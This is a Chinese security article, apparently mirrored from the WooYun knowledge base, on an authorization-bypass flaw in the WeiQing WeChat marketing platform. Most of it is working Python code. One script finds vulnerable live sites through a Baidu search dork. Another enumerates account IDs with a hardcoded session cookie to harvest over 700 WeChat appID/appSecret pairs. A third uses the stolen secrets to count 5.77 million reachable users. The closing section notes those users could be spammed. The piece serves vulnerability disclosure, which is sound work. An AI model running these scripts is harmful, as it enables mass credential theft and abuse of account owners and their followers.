是誰讓你我如此近距離(論第三方微信行銷平臺的安全隱患)
wyzsk發表於2020-08-19
作者:
奈米翡翠
·
2016/03/23 16:04
0x00 簡介
開發微信第三方營銷平臺的人可謂是靠著微信官方開發文件發家的人,他們把開發文件變成產品,變成普通人一看就明白的東西,好多搞營銷的不懂技術,好多做技術的不懂營銷,他們可謂在技術和營銷之前有效的搭了一座橋,讓不懂技術的營銷者可以透過第三方平臺方便的接入微信。
微信本身是安全的,但是第三方平臺的安全卻沒的保證,這篇文章就是想說明,在使用第三方平臺便利性的同時埋下的安全隱患
0x01 從一個被忽略的漏洞說起
wooyun漏洞編號:wooyun-2016-0184202
WooYun: 微擎最新版可越權操作別人公眾號 "> WooYun: 微擎最新版可越權操作別人公眾號
很不解如此影響深遠的漏洞,為什麼會被忽略,是對客戶的不負責任,還是對漏洞本身的不瞭解
接下來就從這個被忽略的漏洞,挖出其背後成千上萬受影響的使用者
0x02 挖掘過程
- 百度搜尋使用微擎系統的連結
- 註冊並登入受影響的系統
- 批次獲取受影響的系統中的微信appID和appSecret
- 透過呼叫微信開發者介面獲取相應appID的使用者列表
- 向這些使用者傳送hello world
百度搜尋使用微擎系統的連結
#!python
#!/usr/bin/env python
#coding:utf-8
import requests
import re
from lxml import etree
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
def getSearch(url):
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) "}
content = getContent(url, headers)
selector = etree.HTML(content)
selectUrl = selector.xpath('//div[@class="f13"]/a[1][email protected]')
urls.extend(selectUrl)
def getSearchUrl(urls):
for url in urls:
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) "}
header = "Location"
content = getRespHeader(url, headers, header)
selectUrl.append(content)
def getContent(url, headers):
resp = requests.get(url, headers=headers)
return resp.text
def getRespHeader(url, headers, header):
resp = requests.get(url, headers=headers, allow_redirects=False)
return resp.headers.get(header)
if __name__ == '__main__':
urls = []
selectUrl = []
for i in [0, 10, 20, 30, 40, 50, 60]:
url = "http://www.baidu.com/s?wd=inurl%%3Aweb%%2Findex.php%%3Fc%%3Duser%%26a%%3Dlogin%%26&pn=%d&ie=utf-8" %i
getSearch(url)
getSearchUrl(urls)
print selectUrl
結果搜到63條連結:
註冊並登入受影響的系統
本來打算寫個指令碼批次註冊然後出appid和key的,但由於有驗證碼,又因為本地驗證碼程式沒有跑起來,而且也就60多個網站,於是乎就手工了一下,然後把拿appid和appSecret的過程寫了個指令碼
批次獲取受影響的系統中的微信appID和appSecret
#!python
#!/usr/bin/env python
#coding:utf-8
import requests
from lxml import etree
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
header = {"cookie":"7ba5___session=eyJ1aWQiOiIxMTE1IiwibGFzdHZpc2l0IjoiMTQ1ODQ3NTc1MyIsImxhc3RpcCI6IjIxOC4xMDguMTI4LjEwMSIsImhhc2giOiI4YzcyMjFjOTE4Y2U2NjY1ZTdiMTQxYWJlYmRlZTcxOSJ9","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) "}
def getcontent(url,header):
resp = requests.get(url, headers=header)
return resp.text
def getkey(html):
global count
rest = []
selector = etree.HTML(html)
weixinAppId = selector.xpath('//input[@name="key"][email protected]')
weixinAppSecret = selector.xpath('//input[@name="secret"][email protected]')
weixinAppName = selector.xpath('//input[@name="subname"][email protected]')
if weixinAppId[0] != '' and weixinAppSecret[0] != '' and weixinAppId[0].find('wx') == 0:
print weixinAppName[0]
rest.append(weixinAppName[0])
rest.append(weixinAppId[0])
rest.append(weixinAppSecret[0])
str_rest = str(rest).replace('u\'','\'')
str_rest = str_rest.decode("unicode-escape")
with open('result.txt', 'a') as fs:
fs.write(str_rest + '\n')
if __name__ == '__main__':
for i in range(1, 1056):
url = "http://wx.xxx.cn/web/index.php?c=account&a=post&uniacid=84&acid=%d" %i
print url
html = getcontent(url, header)
getkey(html)
待每個連結都嘗試之後,一共捕獲到700多個微信appid和secret
透過呼叫微信開發者介面獲取相應appID的使用者列表
這裡透過指令碼獲取一下這麼多微信appid一共涉及多少使用者
#!python
# coding:utf-8
import requests
import ast
count = 0
def getCount(url):
global count
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) "}
resp = requests.get(url, headers=headers)
con = ast.literal_eval(resp.text)
if type(con) == dict and "total" in con:
count += int(con["total"])
def getAccesstoken(content):
con = ast.literal_eval(content)
if type(con) == dict and "access_token" in con:
url = "https://api.weixin.qq.com/cgi-bin/user/get?access_token=%s" % con["access_token"]
getCount(url)
def getContent(line):
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) "}
wxappid = line[1]
wxsecret = line[2]
url = "https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=%s&secret=%s" % (wxappid, wxsecret)
resp = requests.get(url, headers=headers)
getAccesstoken(resp.text)
if __name__ == '__main__':
with open('result.txt', 'r') as fs:
for line in fs.readlines():
line = line.replace('\r', '').replace('\n', '')
getContent(eval(line))
print count
跑完指令碼發現一共涉及到577萬使用者
0x03 結尾
這570多萬使用者重複率很低,可以向這570萬使用者推送廣告,可以向這570萬使用者傳送訊息,可以向這500萬使用者傳送一句"你我如此近距離,你卻不知道我是誰"。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!
相關文章
- 微信圈(Wechat)—領先的微信行銷服務平臺2019-05-11
- 什麼是青藤零域·微隔離安全平臺?2022-07-05
- ChatGPT背後的安全隱患,誰來管比較放心?2023-04-04ChatGPT
- 微信行銷平臺快速生成開發框架—KyPHP2020-11-02框架PHP
- LMCompatibilityLevel 安全隱患2022-07-27
- PigCms多使用者微信行銷平臺系統2019-05-11GC
- 資料安全隱患暴露,網際網路平臺擴張止步2021-08-07
- 滴滴的安全新隱患2020-09-22
- 微信開發(4):微信第三方開放平臺的搭建(java)2018-03-03Java
- 微信隱私安全設定教程 如何設定微信隱私安全?2018-09-28
- thinkphp___微信第三方應用平臺2019-05-11PHP
- 微信開放平臺 第三方平臺開發踩坑記錄2020-06-21
- 微信開放平臺-第三方平臺-全網釋出邏輯2021-12-29
- Laravel Bindings 的一處安全隱患2021-01-22Laravel
- 部署SSL證書好處多多,遠離網路安全隱患2020-04-20
- 微信第三方平臺-授權流程經驗分享2019-02-26
- 解讀微信第三方平臺-代小程式開發2019-05-07
- CFRunloop的多執行緒隱患2018-03-25OOP執行緒
- 微信平臺應用2019-05-11
- 如何用Nearby Service讓你的遊戲實現近距離聯機2020-07-20遊戲
- Thinkphp微信行銷工具,微信小程式。2019-05-11PHP微信小程式
- 微信APP分銷平臺開發有哪些優勢?2018-09-11APP
- 發現安全隱患的“火眼金睛”2018-04-16
- iOS開發如何避免安全隱患2019-07-29iOS
- 微信支付如何提高安全係數?花一分鐘調整4個設定,減少安全隱患2019-12-20
- RSA2010:雲安全需急迫解決的安全隱患2019-05-13
- 微營銷平臺運營2019-05-11
- [Wechat]概念辨析:微信的生態平臺/運管平臺2023-04-20
- 微信小程式效能優化方案——讓你的小程式如此絲滑2019-03-04微信小程式優化
- 每日安全資訊:近百萬臺 Windows 存在高危漏洞 BlueKeep 隱患2019-05-30Windows
- 免費代理IP有哪些安全隱患2021-09-11
- ThinkPhp3.2.1開發的微信平臺2019-05-11PHP
- 被忽視的大型網際網路企業安全隱患:第三方開源WiKi程式2020-08-19
- 微企匯快速開啟你的微營銷平臺2019-05-11
- 自籤SSL證書有哪些安全隱患2020-11-27
- 【開源】多多客小程式-微信小程式SaaS平臺原始碼-微信第三方服務商必備2020-03-24微信小程式原始碼
- 容器雲平臺如何做好安全隔離?2022-08-08
- 微信公眾平臺/擴充套件2019-04-09套件